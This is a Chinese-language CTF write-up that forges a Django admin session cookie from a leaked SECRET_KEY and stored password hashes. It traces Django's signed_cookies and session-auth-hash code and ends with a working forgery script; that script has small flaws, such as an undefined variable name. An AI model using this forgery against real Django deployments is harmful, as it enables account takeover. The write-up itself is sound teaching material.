直接进入正题。
「听说有离职的同学,把你们的代码和数据库泄漏了出去?好像还在什么 hub 还是 lab 来着建了一个叫 openlug……」
「没关系,反正 admin 用户的密码长度有 1024 位,我自己都忘了密码,就算老天爷来了,也看不到我们的 flag!」
首先根据提示,从Github下载到了题目的源码:openlug/django-common
理一下源码,发现是用Django写的一个简单的登录应用,而且是用django-admin
生成的模板代码改的。在settings.py
里面找到了一些有用的信息。
源码23行记录了Django使用的SECRET_KEY
,
# Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production non-secret! SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39'
第57行配置了应用所使用的session存储方式是signed_cookies
ROOT_URLCONF = 'openlug.urls' # for database performance SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' # javascript code can get document.cookie, debug SESSION_COOKIE_HTTPONLY = False
Django有很多种session的存储方式,查阅文档大概有以下几种
其中cookie-based sessions是一种客户端session,与flask的那种客户端session一个原理。是将session里的字段通过Django自己设计的sign算法签名编码之后存放在客户端的cookie中,然后每次客户端带着这个cookie访问,服务端再次通过sign算法验证,从而拿到session。
利用django的sign算法编码与解码session的例子如下:
>>> from django.core import signing >>> value = signing.dumps({"foo": "bar"}) >>> value 'eyJmb28iOiJiYXIifQ:1NMg1b:zGcDE4-TCkaeGzLeW9UQwZesciI' >>> signing.loads(value) {'foo': 'bar'}
这里需要注意的是loads和dumps时候其实是要带上一个额外的key参数的,如果不配置就默认是app的SECRET_KEY,但命令行启动的环境是没有配置的,所以我们带上key才可以进行解码。
然后我利用上面django提供的api进行session解码,发现解不了。题目中给的SECRET_KEY应该是没问题的,看API文档发现还有个salt参数,默认值是"django.core.signing"
。猜想可能是这个参数错了。
dumps(obj, key=None, salt='django.core.signing', compress=False)[source]¶
Returns URL-safe, sha1 signed base64 compressed JSON string. Serialized object is signed using TimestampSigner.loads(string, key=None, salt='django.core.signing', max_age=None)[source]¶
Reverse of dumps(), raises BadSignature if signature fails. Checks max_age (in seconds) if given.
只能翻源码找这个salt到底是什么。这里应该很容易发现dumps和loads的参数是一样的,所以找到了signed_cookies
的dumps方法和loads方法等效。
在django/django/contrib/sessions/backends/signed_cookies.py
的SessionStore->load方法
from django.contrib.sessions.backends.base import SessionBase from django.core import signing class SessionStore(SessionBase): def load(self): """ Load the data from the key itself instead of fetching from some external data store. Opposite of _get_session_key(), raise BadSignature if signature fails. """ try: return signing.loads( self.session_key, serializer=self.serializer, # This doesn't handle non-default expiry dates, see #19201 max_age=self.get_session_cookie_age(), salt='django.contrib.sessions.backends.signed_cookies', ) except Exception: # BadSignature, ValueError, or unpickling exceptions. If any of # these happen, reset the session. self.create() return {} ...
发现session的载入方法就是封装了一层signing.loads
,然后指定了特定的salt
为"django.contrib.sessions.backends.signed_cookies"
。利用这个发现,我们可以decode题目中给出的session-cookie了。
目前为止,我们有:
调用decode api解码得到如下结果:
>>>signing.loads(session_cookie,key="d7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39",salt="django.contrib.sessions.backends.signed_cookies") {'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}
可以看到有三个字段
这时候我尝试只修改_auth_user_id
字段为1
,然后encode之后,登录失败了。猜想可能后面的_auth_user_hash
字段也要正确才能通过验证。于是继续翻源码,
在django/django/contrib/auth/init.py我们发现了登录验证函数:
import inspect import re from django.apps import apps as django_apps from django.conf import settings from django.core.exceptions import ImproperlyConfigured, PermissionDenied from django.middleware.csrf import rotate_token from django.utils.crypto import constant_time_compare from django.utils.module_loading import import_string from django.utils.translation import LANGUAGE_SESSION_KEY from .signals import user_logged_in, user_logged_out, user_login_failed SESSION_KEY = '_auth_user_id' BACKEND_SESSION_KEY = '_auth_user_backend' HASH_SESSION_KEY = '_auth_user_hash' REDIRECT_FIELD_NAME = 'next' ... def login(request, user, backend=None): """ Persist a user id and a backend in the request. This way a user doesn't have to reauthenticate on every request. Note that data set during the anonymous session is retained when the user logs in. """ session_auth_hash = '' if user is None: user = request.user if hasattr(user, 'get_session_auth_hash'): session_auth_hash = user.get_session_auth_hash() if SESSION_KEY in request.session: if _get_user_session_key(request) != user.pk or ( session_auth_hash and not constant_time_compare(request.session.get(HASH_SESSION_KEY, ''), session_auth_hash)): # To avoid reusing another user's session, create a new, empty # session if the existing session corresponds to a different # authenticated user. request.session.flush() else: request.session.cycle_key() try: backend = backend or user.backend except AttributeError: backends = _get_backends(return_tuples=True) if len(backends) == 1: _, backend = backends[0] else: raise ValueError( 'You have multiple authentication backends configured and ' 'therefore must provide the `backend` argument or set the ' '`backend` attribute on the user.' ) else: if not isinstance(backend, str): raise TypeError('backend must be a dotted import path string (got %r).' % backend) request.session[SESSION_KEY] = user._meta.pk.value_to_string(user) request.session[BACKEND_SESSION_KEY] = backend request.session[HASH_SESSION_KEY] = session_auth_hash if hasattr(request, 'user'): request.user = user rotate_token(request) user_logged_in.send(sender=user.__class__, request=request, user=user) ...
可以看到调用了user.get_session_auth_hash()
获得session_auth_hash
,并且之后赋值给了request.session[HASH_SESSION_KEY] = session_auth_hash
,而HASH_SESSION_KEY
就是字符串
"_auth_user_hash"
,所以我们跟进user.get_session_auth_hash()
在django/django/contrib/auth/base_user.py:
... def get_session_auth_hash(self): """ Return an HMAC of the password field. """ key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash" return salted_hmac(key_salt, self.password).hexdigest() ...
可以发现就是key_salt
和self.password
传入salted_hmac
进行hash。但这里用到了self.password
,也就是说想计算这个hash值还需要知道密码才行。但我们计算这个hash的目的就是为了伪造session,如果密码都知道了那还伪造个毛?直接登录不就可以了?这里感觉有点奇怪,不应该用密码才对。我们看看这个self.password
是怎么来的:
在django/django/contrib/auth/base_user.py:
class AbstractBaseUser(models.Model): ... def set_password(self, raw_password): self.password = make_password(raw_password) self._password = raw_password
我们发现self.password
其实并不是raw_password,raw_password其实是存在了self._password
变量里面,真是具有迷惑性的名字。我们跟进make_password
函数:
在django/django/contrib/auth/handlers.py:
def make_password(password, salt=None, hasher='default'): """ Turn a plain-text password into a hash for database storage Same as encode() but generate a new random salt. If password is None then return a concatenation of UNUSABLE_PASSWORD_PREFIX and a random string, which disallows logins. Additional random string reduces chances of gaining access to staff or superuser accounts. See ticket #20079 for more info. """ if password is None: return UNUSABLE_PASSWORD_PREFIX + get_random_string(UNUSABLE_PASSWORD_SUFFIX_LENGTH) hasher = get_hasher(hasher) salt = salt or hasher.salt() return hasher.encode(password, salt)
发现make_password
函数原始的作用是Turn a plain-text password into a hash for database storage
,也就是说这个函数是计算原始明文密码的hash的,这个hash是存在数据库里面的,也就是通常大家在脱库时候脱出来的密码md5类似。
所以这里就很明了了。整个_auth_user_hash
字段的计算就是
raw_password
> make_password(raw_password)
> salted_hmac(key_salt, make_password(raw_password)).hexdigest()
而这里的key_salt在django/django/contrib/auth/base_user.py直接给出了,make_password(raw_password)
的值也存放在数据库里面,也是知道的,这样就可以计算出_auth_user_hash
的值,从而伪造session了。
至此,翻源码到此为止了,整个session_cookie的生成以及session里面的各个字段的生成原理也搞明白了。
这里可以看出来是有两重的保护的。
SECRET_KEY
保证了session_cookie没法被恶意篡改_auth_user_hash
保证攻击者还要拿到密码的哈希值才能进行伪造本题就是同时泄露了SECRET_KEY
和密码哈希,所以才能进行伪造。
下面是简单的验证代码:
from django.core import signing from django.utils.crypto import salted_hmac SECRET_KEY = 'd7um#o19q+v24!vkgzrxme41wz5#_h0#f_6u62fx0m@k&uwe39' guest_hash = 'pbkdf2_sha256$150000$8GFvEvr58uL6$YWM8Fqu8t/UYcW4iHqxXpkKPMEzlUvxbeHYJI45qBHM=' admin_hash = 'pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE=' guest_session_cookie = '.eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKPsz:xrFwkuWPqOeflwOyQzcnEZF3gqQ' signed_cookie_slat = 'django.contrib.sessions.backends.signed_cookies' # load guest session_cookie guest_session_cookie_dict = signing.loads(guest_session_cookie,key=SECRET_KEY,salt=signed_cookie_slat) # {'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'} key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash" # validate "_auth_user_hash" assert salted_hmac(key_salt, guest_hash, secret=SECRET_KEY).hexdigest() == guest_cookie_dict['_auth_user_hash'] # no message is good message # fake session cookie fake_admin_session_cookie_dict = {'_auth_user_id': '1', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'} fake_admin_session_cookie_dict['_auth_user_hash'] = salted_hmac(key_salt, admin_hash, secret=SECRET_KEY).hexdigest() # encode fake_admin_session_cookie = signing.dumps(fake_admin_session_cookie_dict,key=SECRET_KEY,salt=signed_cookie_slat) print(fake_admin_session_cookie)
完。